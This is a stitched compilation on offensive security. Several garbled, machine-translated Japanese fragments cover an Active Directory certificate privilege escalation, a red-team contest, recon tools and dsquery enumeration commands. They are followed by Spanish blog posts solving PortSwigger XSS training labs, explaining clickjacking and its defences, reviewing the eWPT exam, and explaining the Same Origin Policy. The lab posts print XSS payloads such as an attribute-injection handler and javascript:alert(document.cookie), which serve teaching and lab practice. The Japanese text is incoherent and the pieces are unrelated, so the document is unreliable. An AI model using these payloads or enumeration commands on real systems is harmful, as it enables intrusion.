Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
特権エスカレーションの脆弱性は、Windows Server 2012 R2からWindows Server 2022への現在Microsoft製品サポート範囲内のすべてのWindows Server Active Directoryバージョンや、製品サポート範囲を超えた古いWindows Serverバージョンを含むすべてのWindows Server Active Directoryバージョンに適用されます。侵入者は、Activeディレクトリ内の少なくとも1つのコンピューターアカウントの「DNSホスト名への書き込み」許可を「検証した」許可を取得した少なくとも1つのActive Directoryユーザーアカウントを制御します。デフォルトでは、単一のActive Directory Normal Domainユーザーは、アクティブなディレクトリに10のコンピューターアカウントを参加または作成し、作成/作成したコンピューターアカウントの作成者オーナーの管理権許可（「DNSHOST名への検証済みの書き込み」を含む）を含むことができます。したがって、この許可は簡単に取得できます。エンタープライズ証明書サービスはActive Directoryに展開され、上記の制御されたコンピューターアカウントがコンピューター認証証明書を申請できるようにします。エンタープライズ証明書サービスは、Active Directoryに広く展開されている関連する基本サービスであり、デフォルトでは、Active Directoryと統合されたエンタープライズ証明書サービスにより、ドメイン内のコンピューターがデフォルトでコンピューター認証証明書を適用できます。複製リファレンス：
しばらくすると、私たちのプライベートターゲットは排除されました。今回は、ターゲットユニットではなく、各チームのルールとシステムにまだいくつかの問題がありました。他の人は、私たちのプライベートターゲットの一部を基本ポイントとデータポイントに割り当て、その後排除されました。その後、彼らは100パスポイントしか得点しませんでした。 Old 6は私たちのプライベートターゲットを見つめていました。オフィスには持っていなかった穴があり、ターゲットがリリースされるとすぐに着用しました。それはあまりにもいたずらであると非難されました。
Asset Collection Enscan_go Space Drawing Survey FOFA/360QUAKE/SHADOW/ZOOMEYE/HUNTERKUNYU/FOFA_VIEWER/INFOSEARCHALL軽量スキャンKSCANサービスの識別はFOFAと協力するために使用してFSCAN Cセグメントを迅速に識別することができます。 cセグメントEEYESWEB指紋認識EHOLEは優れたツールです。指紋とスペース描画エンジンインターフェイスTIDE TIDAL FINGERPRINT WEBオンライン検出TIDEFINGERHTTPX Get Web Title Status Code Intranet Host Information Information Collection
dsquery domain command (write domain penetration later) command function dsquery computer domainroot -limit 65535 net group 'domain computers'/domain lists all machine names in the domain dsquery user domainroot -limit 65535 net user /domain lists all user names in the domain dsquery subnet lists network segment divisions dsquery group net group /domain lists groups in theドメインdsquery OUは、ドメインの組織ユニットをリストDsquery Server Net Time /Domain Controllers
En este post vamos a estar resolviendo el laboratorio: “DOM XSS in document.write sink using source location.search inside a select element”.
En este caso, para resolver el reto tenemos que escaparnos del elemento “select” y llamar a la función alert.
Lo primero de todo es acceder al laboratorio:
Una vez hemos accedido, podemos ver varios productos. Vamos a entrar en uno cualquiera:
Cuando entramos, podemos observar una función para comprobar el stock en las distintas ciudades:
Si observamos el código fuente de la web, podemos encontrar el siguiente código:
Analizando un poco el script, básicamente se entiende que además de las tres ciudades por defecto para comprobar el stock, se le puede agregar una más a través de la variable storeId de la URL. Por lo que podemos probar a añadir esa variable y un valor cualquiera:
Una vez accedemos a la web de nuevo pero con la variable storeId, si nos fijamos en las ciudades:
Podemos ver como se ha agregado una más, en concreto una con el nombre del valor que le hemos pasado a la variable.
Si nos vamos de nuevo al código fuente, podemos observar como este parámetro se implementa:
Por lo que, observando esto, podemos intentar poner un valor que ocasione que nos escapemos del propio elemento options, y ejecute un alert:
Al acceder a la web con este valor en la variable:
Se nos ejecuta el alert. En el código fuente, podemos observar lo siguiente:
Y de esta forma, conseguimos resolver el laboratorio:
En este post vamos a estar resolviendo el laboratorio: “Reflected XSS into attribute with angle brackets HTML-encoded”.
En este caso, para resolver el reto tenemos que inyectar un payload que escape del string donde se encuentra y llame a la función alert.
Lo primero de todo es acceder al laboratorio:
Una vez accedemos, nos encontramos ante una barra de búsqueda, por lo que vamos a usarla buscando una palabra aleatoria:
Cuando hacemos la búsqueda, podemos observar como la palabra que hemos buscado, se encuentra, entre otros sitios en la siguiente parte del código fuente
Como podemos observar, es un string. Puedes pensar, ok, cierro la variable, pongo un alert y listo, una cosa así:
var searchTerms= ' alert('XSS') '
Pero esto no es válido, ya que JavaScript no permite espacios en una variable, por esa misma razón para que toda la cadena se tome como parte de la variable, y aun así, el alert se ejecute, se concatena usando un guion. En el siguiente enlace podéis ver una explicación más detallada.
Dicho esto, colocamos un payload como:
' '-alert('XSS')-' '
Y cuando le demos a buscar:
Se habrá ejecutado el alert. En el código fuente, se verá de la siguiente forma:
En este post vamos a estar resolviendo el laboratorio: “Stored XSS into anchor href attribute with double quotes HTML-encoded”.
En este caso, para resolver el laboratorio tenemos que escribir un comentario que llame a la función alert cuando se haga click en el nombre del autor del comentario.
Lo primero de todo es acceder al laboratorio:
Una vez accedemos, podemos ver como hay distintos artículos, nos metemos en el primero de ellos (podríamos meternos en cualquiera):
Una vez dentro, podemos observar que hay una zona de comentarios:
Por lo que vamos a escribir un comentario cualquiera:
Cuando enviamos un comentario, este se escribe y almacena en la web. Podemos observar como en el comentario que hemos puesto hay un hipervínculo. Si vemos su código fuente, podemos observar como el atributo href corresponde al campo de “Website” de cuando se escribe un comentario:
Por lo que sabiendo esto, podemos escribir en el campo de “Website” un payload que nos ejecute un alert cuando se de click en el nombre del autor:
Enviamos el comentario y:
¡Completamos el laboratorio! Si volvemos a la zona de comentarios y observamos el código fuente, podemos ver como se ha colocado nuestro payload:
Clickjacking (o también UI redressing) es un ataque web por el cual un atacante, a través de ingeniería social o phishing, consigue que una víctima realice acciones no autorizadas de forma legítima. Por ejemplo, a través de este ataque un atacante puede ocasionar que una víctima envíe dinero sin que lo sepa, siendo la misma víctima, la que da click a enviar.
Índice:
Introducción
Clickjacking
Como evitar el Clickjacking
X-Frame-Options
Content-Security-Policy
Referencias
Introducción
Lo primero de todo es entender lo que es un iframe. Básicamente, es un elemento de HTML que permite incrustar una web dentro de otra (formalmente hablando, permite incrustar un documento HTML dentro de un documento HTML principal). Por ejemplo, con el siguiente código:
Conseguimos incrustar Deep Hacking en nuestro pequeño server local:
El pequeño iframe, es la propia web totalmente funcional, puedes navegar perfectamente por el blog sin ningún problema como si estuvieras de verdad en el mismo. Eso sí, puedes pensar, ok, pero es una ventana xiquita, que mierda es esta. Y no te falta razón, por eso, si le metemos un poco de CSS al código:
Bualá. Tenemos el blog como si estuviéramos en el oficial, ya no solo funcionalmente, sino también estéticamente.
Aquí entra un detalle importante, en los iframes, también cargan las cookies que tengas almacenadas sobre la página en cuestión. Esto quiere decir que si tengo la sesión del blog guardada en el navegador, al cargar en el iframe, estaré logueado en mi sesión, por lo que cualquier cambio que yo haga en el iframe, será como si lo hiciese desde el blog normal.
Volviendo al ejemplo del banco, si yo tengo la sesión guardada de mi cuenta, y visito una web que carga en un iframe la web del banco, en el iframe estaré logueado con mi cuenta, por lo que cualquier accion llevada a cabo desde el iframe, será como si lo hiciese desde la web original.
Sabiendo esto, vamos a ver el Clickjacking y cual es la idea del ataque.
Clickjacking
Se podría decir que el Clickjacking es un ataque que funciona por capas:
Viendo esto puede estar pensando: ok, pero aquí hay varias cosas que no tienen sentido:
¿Por qué el atacante debe de hacer una web personalizada?
Si la web del iframe va por encima, ¿qué sentido tiene poner una web debajo? Si no se va a estar viendo.
Lo que ocurre es que el iframe, aunque esté ahí, va a ser totalmente invisible, y esto se consigue con CSS. De esta forma, lo que el atacante creará en la web personalizada, será un elemento colocado totalmente estratégico para que el usuario de click en algún sitio concreto del iframe.
Veamos un ejemplo para que se vea más claro:
Estas son las dos webs que habrá, una por encima de la otra. Lo que ocurre es que siempre que interactuemos, será con la web que esté por encima. Por lo que, pongámonos en situación:
La capa que el usuario verá, será la de ganar el nuevo iphone, ya que a la otra, le indicaremos mediante CSS, opacidad 0 (que sea invisible).
La capa que estará por encima, y con la que se interactua dando cualquier click, será la del banco.
Si el botón del iphone lo colocamos justamente en el mismo lugar que el de confirmar la transacción, cuando el usuario de click a ganar el iphone, realmente le estará dando a confirmar transacción, y, como en el iframe carga las cookies que tenga almacenadas el usuario, la transacción se hará con su cuenta.
Y realmente esta es la idea del Clickjacking, hacer pensar al usuario que está dando click en una cosa, cuando realmente le está dando a otra, y si, por si lo estabas pensando, uno de los requisitos de este ataque es que el usuario no cierre sesión en los sitios y, por tanto, tenga almacenadas las cookies de sesión de la web donde queramos que realice una acción, en este caso por ejemplo, la del banco.
Como evitar el Clickjacking
Ahora bien, yo soy propietario de una web, y quiero evitar que esto ocurra, o estoy en un pentest y quiero escribir como remediar este ataque. ¿Qué hago?
Pues, existen dos posibles mecanismos para solucionar esto, el X-Frame-Options y el Content Security Policy (CSP).
X-Frame-Options
El X-Frame-Options es una cabecera HTTP que el servidor web puede incluir en su respuesta, y, dependiendo del valor que tenga, el navegador web permitirá que el iframe cargue o no. Los tres posibles valores para esta cabecera son:
X-Frame-Options: deny –> No permitirá que en ningún caso, la web pueda ser incrustada en un iframe.
X-Frame-Options: sameorigin –> Solo permitirá que las webs que sean del mismo origen, puedan incrustar la web. El concepto de origen se explica en el post de Same Origin Policy.
X-Frame-Options: allow from <url> –> En el caso de que queramos permitir que una web de un origen distinto, pueda cargar en un iframe nuestra web, lo indicaremos con esta cabecera.
Ejemplo de respuesta HTTP que tiene implementada esta cabecera:
Content Security Policy (CSP)
El Content Security Policy es otra cabecera HTTP que el servidor puede incluir para evitar que la web pueda ser incrustada en un iframe. Esta cabecera en concreto no se limita a proteger solo contra Clickjacking, pero si que tiene atributos concretos para ello:
Content-Security-Policy: frame-ancestors ‘none’; –> Es el equivalente a X-Frame-Options: deny
Content-Security-Policy: frame-ancestors ‘self’; –> Es el equivalente a X-Frame-Options: sameorigin.
Content-Security-Policy: frame-ancestors <dominio>; –> Es el equivalente a X-Frame-Options: allow from <url>.
Una pequeña diferencia de esta cabecera respecto a X-Frame-Options, es que CSP es más flexible, en el sentido de que admite colocar varios dominios si queremos permitir varios orígenes, e incluso usar asteriscos. Por ejemplo, esto sería totalmente válido:
Al igual que ahora sabemos que estas dos cabeceras protegen ante este ataque, de la misma forma, sabemos que la falta de implementación de estas, hará la web vulnerable. Por lo que sabemos como detectarlo y defendernos al mismo tiempo.
Este finde pasado dije, me apetece entretenerme un rato, e hice el eWPT. Nah, en realidad no fue tan espontáneo, pero hubiera molado que hubiese sido así. En cualquier caso, salió bien:
Por lo que voy a hacer una review sobre que me ha parecido.
Contexto
¿Vale la pena?
¿Qué tan difícil es?
¿Qué necesito saber?
¿Cómo es el examen?
¿Cómo es el Curso de Preparación?
Tips
Conclusión
Contexto
El eWPT o eLearnSecurity Web Application Penetration Tester es una certificación 100% práctica, que pone a prueba tus habilidades de pentesting web. Según eLearnSecurity, abarca los siguientes temas:
Penetration testing processes and methodologies
Web application analysis and inspection
OSINT and information gathering techniques
Vulnerability assessment of web applications
OWASP TOP 10 2013 / OWASP Testing guide
Manual exploitation of XSS, SQLi, web services, HTML5, LFI/RFI
Exploit development for web environments
Advanced Reporting skills and remediation
¿Vale la pena?
Pues diría que si la verdad, es una certificación bastante entretenida donde podrás poner a prueba diversos ataques web, y no solo eso, sino la capacidad de realizar un reporte, de familiarizarte con el OWASP Testing Guide, etc. Aparte de practicar los distintos ataques y demás, si lo enfocas de forma correcta, como si fuera una auditoría web real, está muy guay y puedes aprender mucho.
¿Qué tan difícil es?
Pues, ya lo dije con el eCPPTv2, personalmente pienso que no es difícil, pero que tampoco quiere decir que sea fácil. Si no tienes los conocimientos o los tienes muy limitados no podrás pasar la certificación. Aquí puede venir una comparación, ¿qué es más difícil, el eCPPTv2 o el eWPT?
Pues, son distintos, me explico, la parte web del eCPPTv2 es bastante más sencilla que la del eWPT, por lo que, la conclusión es:
A nivel web, el eWPT es mas difícil.
El eCPPTv2 abarca mas variedad de temas.
Por lo que, siguiendo estos dos principios, una persona puede aprobar el eCPPTv2 y suspender el otro, y viceversa. Personalmente, considero que ambas certificaciones van por distinto camino:
Por lo que en este caso, no es cuestión de cuál hacer basándote en la dificultad, sino de, ¿a qué te quieres enfocar en este momento?.
En cualquier caso, volviendo al propio eWPT, ¿es difícil?, pues no, pero sí que tienes que tener experiencia con ataques web y entender como funcionan y demás.
¿Qué necesito saber?
Pues personalmente, lo que yo considero que debes de saber para poder abordar con éxito la certificación, es lo siguiente:
Burp Suite, Burp Suite, y Burp Suite. Para mí, esta es la mejor herramienta de pentesting web sin ninguna duda, es totalmente indispensable saber usarla, ya sea para CTF o para la propia realidad. Y no, Burp Suite no es solo interceptar, mandar al repeater y ya. Tiene muchas características más superútiles.
Saber como funcionan las cookies y las sesiones.
En cuanto a ataques web, pues no puedo ser muy concreto porque sería spoiler, pero digamos que yendo a PortSwigger y haciendo todos los laboratorios de las vulnerabilidades más conocidas e importantes, irás bien. Aun así, échale un vistazo al temario del curso de preparación.
Tener una idea de los sitios de referencias de vulnerabilidades más famosos, MITRE (CWE), OWASP, WASC Threat Classification, y además, por supuesto, usar el CVSS.
¿Cómo es el examen?
Cuando comienzas la certificación, te proporcionan la «carta de compromiso», básicamente es un PDF donde te dan todos los detalles necesarios para hacer el examen.
Súper TIP, lee ultra mega híper bien la carta de compromiso antes de comenzar el examen.
Una vez leída la carta, simplemente te conectas por VPN al examen y tendrás los distintos activos web a auditar, por esta parte no hay mucho más que comentar.
El examen dura 14 días, tienes 7 días de laboratorio, es decir, 7 días para completar la parte práctica, y luego tienes otros 7 días para realizar el reporte. Yo empecé el examen un viernes sobre las 19:30 y para el sábado sobre las 21:00 ya tenía los requisitos mínimos junto a bastantes vulnerabilidades, el domingo hice el reporte y listo.
En referencia a «los requisitos mínimos», en la carta de compromiso se te indica que el requisito mínimo, pero no suficiente, es hacer X. Dice no suficiente, porque aunque cumplas lo que se te indica, el objetivo del examen es encontrar y reportar todas las vulnerabilidades web que encuentres.
Volviendo al reporte, por si te sirve de guía, a mí me ocupó 72 páginas, literalmente me lo escribí todo el domingo y cuando acabé tenía las manos tan reventadas que me puse a jugar God Of War xD. Para el reporte puedes seguir alguna plantilla como la de TCM o TheMayor, que es como hice yo en el eCPPTv2, sin embargo, en este caso, decidí escribirlo todo de cero, pero cogiendo ideas de ambas plantillas. Una estructura que puedes seguir puede ser:
Vulnerabilidad
Breve Descripción
Activos Afectados
Descripción Extendida
Impacto (CVSS)
Recomendaciones
Referencias
Puedes usar este modelo y adaptarlo a lo que consideres mejor.
¿Cómo es el curso de Preparación?
Pues, sinceramente, un coñazo.
Y si, lo digo en serio. Algo que personalmente no me gusta de eLearnSecurity es que te coloca un PowerPoint de 300 páginas de contenido, donde, si te ponen un trozo de código, ni siquiera puedes copiarlo directamente. Además, 300 páginas de PowerPoint está bien cuando llevas 20, pero cuando vas por la 100 estás un poco hasta los cojones. Personalmente, prefiero el contenido en vídeo, con alguien explicándomelo todo de forma dinámica y amena. Y que me pusiera el código en la descripción para poder copiarlo x) y hacer pruebas en local.
Ahora bien, por otro lado, algo que me encanta de eLearnSecurity es como entra en detalle en muchos temas. Cuando nos enfocamos tanto en hacer máquinas y ataques, a veces, olvidamos y no tenemos en cuenta la verdadera base para poder construir de forma más sólida sobre todo lo demás. Me encanta como explica de manera detallada cosas como las Cookies, el SOP, las sesiones… Y sí, pienso a veces que cosas tan básicas como esta, la damos por sabida porque es «sencillo», pero por esa aceptación de sencillez, a veces perdemos muchos detalles importantes. Y esta parte me encanta que eLearnSecurity la abarque.
Por lo demás, el temario puedes verlo en este enlace sin estar autenticado. El temario en sí, toca algunas cosas típicas como SQLi, XSS, CSRF, LFI, RFI, Session Fixation… Pero también toca cosas no tan comunes y conocidas como el XPath Injection y el SOAP, entre otros. Si puedes ver el temario mejor, si no pues toca googlear e investigar por tu cuenta, que bueno, aunque tuvieras el temario, esta parte no te la quita nadie.
En cuanto a los laboratorios, no hay ninguno que me llamase la atención especialmente, eso sí, puedes practicar todas las vulnerabilidades y más, pero no creo que sean tan necesario o que valga tanto la pena como para pagarte la subscripción premium de INE.
Tips
Diría Burp Suite, pero no es un tip, es una necesidad jeje. Más allá de eso, recomiendo muchísimo que hagas uso de Mapas Mentales, es decir, de esto:
Personalmente, la aplicación que recomiendo es XMind. Es una aplicación supercómoda e intuitiva. Hacer uso de un MindMap te ayudará mucho a organizarte y ver las cosas mucho más claras. De hecho, esta idea es bastante usada en Bug Bounty.
Aparte de esto, realmente el único tip adicional que puedo volver a mencionar es que leas muy bien la carta de compromiso que se te entrega al comenzar el examen.
Conclusión
El eWPT es un examen bastante entretenido y que le puedes sacar bastante partido. Personalmente, lo recomiendo siempre que quieras aprender un poco más del tema web, aunque eso si, al fin y al cabo, el aprendizaje depende sobre todo de ti, y no tanto del examen.
En este post vamos a estar resolviendo el laboratorio: “Reflected XSS into attribute with angle brackets HTML-encoded”.
En este caso, para resolver el reto tenemos que inyectar un atributo que nos ejecute un alert.
Lo primero de todo es acceder al laboratorio:
Una vez accedemos, nos encontramos ante una barra de búsqueda, por lo que vamos a usarla buscando una palabra aleatoria:
Cuando buscamos, si nos fijamos aquí ocurren varias cosas:
En este caso no hay resultados, pero eso es lo de menos.
En la URL se nos añade el parámetro search.
Lo que buscamos, acaba siendo el valor del atributo value en el elemento input.
Teniendo en cuenta los dos últimos puntos, podemos crear un payload que nos cree un nuevo atributo dentro del elemento input para que se nos ejecute un alert. En este caso el payload es:
“onmousemove=”alert(1)
De esta forma, buscando por el payload que hemos especificado arriba, conseguimos resolver el laboratorio:
Parece que no ha ocurrido nada a nivel de ejecutar el alert, sin embargo, si pasamos el ratón por encima de la palabra:
Se nos ejecuta. De esta forma conseguimos resolver el laboratorio:
En este post vamos a estar resolviendo el laboratorio: “DOM XSS in jQuery selector sink using a hashchange event”:
Para resolver el laboratorio, tenemos que enviar a una víctima un exploit que aproveche la vulnerabilidad del laboratorio para ejecutar la función print().
Lo primero de todo es acceder al laboratorio:
En este caso, no vemos ninguna barra de búsqueda o página de feedback como ha ocurrido en otros retos de XSS. Sin embargo, si nos vamos al código fuente, nos encontramos con el siguiente trozo de código:
Este código, básicamente lo que hace es que cuando se especifica en la URL algo después de un hashtag, busca este valor en la web y hace un scroll hasta la coincidencia.
Por ejemplo, si nos vamos abajo del todo del laboratorio, podemos ver como hay un post que tiene la palabra “Resume” en el título:
Sabiendo esto, vamos a buscar por:
<URL>/#Resume
Damos enter.
Y aunque en la imagen no se pueda apreciar, nos redirige automáticamente hacia el post que contiene la palabra.
Para ver como explotar esto, vamos a traer el código de nuevo:
Como podemos observar, realmente lo que ocurre en el código, es que cuando especificamos algo después del hashtag, jQuery intenta busca un elemento h2 que contenga lo que hemos dicho. Cuando encuentra el elemento, este se almacena en la variable post, por lo que ahora, lo que contiene es un elemento de jQuery que se ve de la siguiente forma:
Posteriormente, si la variable post tiene algun dato almacenado, se obtiene el primer elemento del objeto jQuery y se usa el método scrollIntoView().
Aqui la vulnerabilidad como tal, se encuentra en la primera linea, en el selector sink de jQuery ($()):
Si no se sanitiza bien, lo que ocurre en aproximadamente en el código es lo siguiente:
De esta forma, se interpretaría. Vamos a probarlo:
Damos enter:
Y efectivamente se ejecuta. Ahora tenemos que crear un exploit que mandemos a la víctima y se haga uso de esta vulnerabilidad. Para ello nos vamos al servidor del exploit:
En este caso, la idea es automatizar la explotación usando un simple <iframe>:
Antes de enviarlo vamos a ver como se vería:
La victima al visitar una web con nuestro código, vería lo que estamos viendo, un pequeño iframe de la web, e inmediatamente después de que cargase la web, se ejecutaría la función print():
Por lo que, viendo que funciona. Simplemente lo guardamos y lo enviamos a la víctima:
De esta forma, conseguimos resolver el laboratorio:
En este post vamos a estar resolviendo el laboratorio: “DOM XSS in jQuery anchor href attribute sink using location.search source”:
En este caso, para resolver el laboratorio tenemos que ejecutar un alert que nos devuelva las cookies.
Lo primero de todo es acceder al laboratorio:
Una vez accedidos, nos dirigimos a la parte de enviar feedback, ya que, en el enunciado es donde se nos indica que se encuentra el XSS:
Cuando accedemos, si nos fijamos en la URL, podemos ver que de forma por defecto se nos añade el parámetro returnPath:
Vamos a probar a añadirle cualquier valor al parámetro:
En principio no pasa nada, pero si ponemos el ratón encima del hiperenlace de “Back”:
Vemos como el valor que hemos colocado en la variable, se implemente en el atributo href de este elemento. Por lo que es tan sencillo como colocar un payload que nos ejecute el alert cuando demos click en el botón:
javascript:alert(document.cookie)
Como vemos, conseguimos resolver el laboratorio, y desde el punto de vista del código fuente, lo que hemos conseguido es lo siguiente:
Ahora, si damos click en el hiperenlace “Back”:
Se nos ejecutará el código Javascript que hemos indicado:
En este caso no nos sale nada porque la única cookie que tenemos, tiene la flag HTTPOnly habilitada:
Esta flag habilita que las cookies solo puedan ser leídas desde el protocolo HTTP y no desde Javascript, es un mecanismo de defensa. Y con esto explicado, ya tendríamos el laboratorio hecho:
El Same Origin Policy es una política (valga la redundancia) de seguridad de aplicaciones web implementada por los navegadores, que previene/restringe la interacción con recursos de otro origen. Entendiéndose por esta interacción, que se obtenga o establezca propiedades de un recurso de origen diferente.
Sé que así dicho, puede no llegar a entenderse. Pero vamos a ir viendo diferentes puntos poco a poco de cara a tener una visión completa y así poder entender que es y como nos afecta esta política.
Índice:
¿Qué es el Origen?
¿Qué permite y qué bloquea el SOP?
Excepciones del SOP
window.location
document.domain
Cross Window Messaging
Laboratorio de Pruebas
Ejemplo 1 – Mismo Origen
Ejemplo 2 – Distinto Origen
¿Y sí… no existiera el SOP?
Vamos a ver si ha quedado claro
Ejercicio 1
Ejercicio 2
Ejercicio 3
Ejercicio 4
Soluciones UwU
Conclusión
Referencias
Mini recomendación: Para entender mejor este post, lo suyo es tener una mini base del DOM y Javascript. Si no, pues simplemente si ves que no entiendes algo, googléalo para ver para qué sirve o únete al server de Discord y pregunta ^^.
¿Qué es el Origen?
Cuando hablamos del origen de un recurso, es la combinación de:
Protocolo + Host + Puerto
Se entiende de forma sencilla con el ejemplo que vamos a ver ahora. Vamos a hacer las comparaciones para la URL:
https://deephacking.tech/flag
Protocolo: HTTPS
Host: deephacking.tech
Puerto: 443
Ejemplos:
https://deephacking.tech/artiQLAZO –> Si tiene el mismo origen, ya que tanto el protocolo, como el host y el puerto, son el mismo.
https://dev.deephacking.tech/flag –> No tiene el mismo origen, porque a pesar de que el protocolo y el puerto si coincide, el host no.
https://deephacking.tech:8080/flag –> No tiene el mismo origen, ya que, a pesar de que el protocolo y host si coincide, el puerto no.
http://deephacking.tech/flag –> No tiene el mismo origen, puesto que, a pesar de que el host y el puerto coincide, el protocolo no (Aunque realmente el puerto también sería distinto porque al ser HTTP sería 80 en vez de 443, pero vamos a olvidarnos de ese detalle en este caso).
http://colddsecurity.com:69 –> Esto ya creo que se predice. Pero este, para nada sería el mismo origen jeje.
Como curiosidad, el código que se ejecute desde páginas como about:blank o javascript:, heredan el origen desde donde se invocan. Por ejemplo, si ejecutas un script que te abra una nueva ventana about:blank, esta ventana heredará el origen que tenga el script que la ha generado.
¿Qué permite y qué bloquea el SOP?
Ya tenemos la definición del origen. Volviendo al SOP (Same Origin Policy), lo que hace entonces esta política es que bloquea el acceso a recursos de orígenes distintos. Podría decirse que la regla principal del SOP es:
Un documento puede acceder (a través de Javascript) a las propiedades de otro documento si ambos tienen el mismo origen.
PD: Cuando nos referimos a «documento» estamos hablando de una página HTML, un iframe incluido en un HTML, o una petición AJAX.
Siendo un poco más precisos, el navegador siempre hará la petición que se le dice que haga sin importar el origen que sea, sin embargo, el que se pueda leer la respuesta, ahí es donde aplica lo que entendemos/entenderemos por SOP, por lo que, el SOP no previene la realización de peticiones a otros orígenes, pero si previene la lectura de la respuesta de una petición hecha a otro origen.
Otro detalle, es que el SOP solo aplica cuando las consultas son generadas desde el lado del cliente, no el servidor. Dicho esto, un par de ejemplos del SOP:
Tú puedes crear un <iframe> que haga referencia a otro origen (si el otro origen lo permite). Pero, tú no puedes acceder ni editar el contenido si no se trata del mismo origen.
En una petición AJAX (XmlHTTPRequest) no podrás obtener la respuesta de la petición si se hace a un origen distinto.
Esto son un par de ejemplos clásicos. Sin embargo, vamos a ver como se comporta con otros elementos:
CSS –> Se puede traer un archivo CSS de otro origen usando el elemento <link> o importando directamente en un archivo CSS.
Images –> Incrustar imágenes de otros orígenes está totalmente permitido. De hecho, este en concreto lo vemos constantemente cuando compartimos por ejemplo un vídeo de YT o un post por alguna red social. Eso si, la lectura de imágenes de otro origen está bloqueado, por ejemplo, colocar una imagen de otro origen en un canvas de nuestra web usando JavaScript estará bloqueado.
Scripts –> También se permite cargar archivos Javascript de otros orígenes. Sin embargo, esto no bypasea las restricciones del SOP a ciertas APIs, como por ejemplo, el hacer una petición HTTP mediante fetch() o XMLHttpRequest() a otro origen. Se seguirán bloqueando este tipo de cosas.
Forms –> Se pueden usar URLs de otro origen en el atributo action de un form.
Multimedia –> Al igual que las imágenes, cualquier contenido ya sea video o audio puede ser traídos con sus respectivos elementos, <audio> y <video>.
Excepciones del SOP
Además del comportamiento del SOP ante ciertos elementos como acabamos de ver, siguen existiendo algunas excepciones para otros:
window.location
Esta propiedad sirve para obtener la URL de un documento o para cambiarla, cuando la cambiamos, realmente hacemos una redirección a la web que indicamos, a través de una petición GET.
Sabiendo ya su funcionalidad, un documento siempre podrá escribir en la propiedad location de otro documento.
Por ejemplo, si en nuestra web tenemos un <iframe> que nos trae https://google.com, nosotros podemos cambiar con esta propiedad la URL del <iframe> y que se actualice y nos traiga otra web. A pesar de que la que estaba antes, fuese de otro origen. De la misma forma, si en el <iframe> cargamos una web, y su código ejecuta una instrucción la cual cambia la propiedad location de la web que contiene el <iframe>, también funcionará.
En este caso, esto último se puede hacer siempre, sea o no el mismo origen, ahora bien, otra cosa muy distinta es obtener la propiedad «location» actual si es de origen distinto, eso no podríamos. Podríamos editarlo y cambiarlo por otro, pero no podríamos leerlo.
Ejemplo de intentar leer la propiedad:
Nos dice Restricted. Si intentáramos lo mismo, pero con un <iframe> de una web del mismo origen que nosotros, no habría ningún problema:
Ahora, volviendo al caso donde nuestro <iframe>, traía «deephacking.tech» si intentamos cambiar la propiedad aunque no podamos leerla:
Vemos que no hay ningún tipo de problema, como hemos dicho, podemos editar siempre, pero no leer. Eso si, la edición también tiene alguna limitación, un documento siempre puede actualizar la propiedad location de otro documento si ambos recursos tienen alguna relación, como por ejemplo:
Un documento está incrustado en el otro por un <iframe> (Lo que hemos visto arriba)
Un documento ha sido abierto por el otro a través de window.open (DOM API).
document.domain
Esta propiedad nos dice el host de origen del documento actual, por ejemplo:
http://dev.deephacking.tech/index.html
La salida del uso de document.domain sería:
dev.deephacking.tech
Ejemplo:
Un documento puede cambiar parcialmente su propio origen usando este propiedad. Digo parcialmente porque no la puede cambiar como quieras. Usemos el ejemplo de HackTheBox para explicarlo. HackTheBox tiene los dos siguientes dominios:
academy.hackthebox.com
app.hackthebox.com
Pongámonos en el caso donde, academy.hackthebox.com incluye en su web, mediante un <iframe> a app.hackthebox.com.
Podrá hacerlo sin problemas, por esa parte perfecto. Ahora bien, pongamos ahora que academy.hackthebox.com ejecuta un código Javascript para cambiar el contenido del <iframe> de app.hackthebox.com.
Como ya sabremos, ambos no tienen el mismo origen porque su hostname no es el mismo, por lo que hacer esta acción que comentamos, no será posible. Sin embargo, aquí es donde entra en juego la propiedad de document.domain.
Una web puede cambiar siempre su hostname a uno de mayor jerarquía, exceptuando el TLD (Top Level Domain) como puede ser .com, .es, .net, .tech, etc etc. Y me refiero cambiarlo a nivel de como se percibe. Siguiendo esto, veamos como es a nivel práctico estando en el dominio app.hackthebox.com:
Como vemos, ocurre lo dicho arriba, podemos cambiarlo a uno de jerarquía mayor, siempre y cuando no sea el TLD. Por lo que, sabiendo esto, volviendo al caso donde nos encontrábamos que academy.hackthebox.com quiere cambiar el contenido del <iframe> que incrusta a app.hackthebox.com. Esta acción solo será posible, si ambas web, cambian su document.domain a hackthebox.com, ya que, ahora sí que se considerará que tienen el mismo origen (porque el protocolo y puerto también coinciden, solo fallaba el hostname).
Cross Window Messaging
HTML5 permite a iframes, frames, popups y ventanas actuales comunicarse entre sí independientemente del SOP, esto es lo que se conoce como Cross Window Messaging. Esta característica permite que dos ventanas intercambien mensajes siempre y cuando tengan algún tipo de relación entre sí, como puede ser:
Que una ventana tenga un <iframe> incrustado. Por lo tanto, existe una relación entre la ventana y el <iframe>, ambas se podrían comunicar.
Que una ventana genere un popup. Por lo tanto, existe una relación entre la ventana y el popup, y también se podrían comunicar.
Eso si, para poder intercambiar mensajes, cada parte de la relación debe de estar configurada para ello, ya sea para enviar, para recibir o ambas a la vez. Aquí, desde el punto de vista de la seguridad, hay que tener cuidado cuando la entidad que recibe, permite que el mensaje pueda provenir de cualquier origen, ya que, quizás una web que espera un mensaje, podríamos incrustarla mediante iframe en una web controlada por nosotros, y si la web incrustada no sanitiza el origen desde el cual acepta mensajes, nosotros desde nuestra web podríamos enviarle lo que quisiéramos.
Pd: Cuando se habla de recibir mensajes, a nivel visual y práctico, no es más que un evento:
Para ver ejemplos reales, vamos a usar el laboratorio de pruebas de «Carlos Azuax», el cual podéis encontrar en el siguiente repositorio de GitHub para que os lo podáis montar vosotros también:
https://github.com/azuax/pruebas-sop
Otro link que quizás os ayuda a montarlo es el siguiente:
En este caso, solo vamos a ver los dos primeros ejemplos que son los que nos interesan.
Ejemplo 1 – Mismo Origen
Código fuente:
Como podemos observar, nos encontramos en la URL:
http://uno.local/ejemplo1.html
Y en el código, estamos creando un <iframe> de:
http://uno.local/ejemplo1-iframe.html
El cual es el que vemos en la imagen:
Hasta aquí guay. Vemos que nos carga sin problemas el contenido del archivo ejemplo1-iframe.html.
Por ahora, todo normal, ya que, hablando en contexto general, podemos cargar mediante un <iframe> cualquier web siempre y cuando esta lo permita.
Ahora bien, otra cosa muy distinta y es donde aplica el SOP. Es que podamos modificar el contenido de un origen distinto al nuestro. Echándole un vistazo al código fuente:
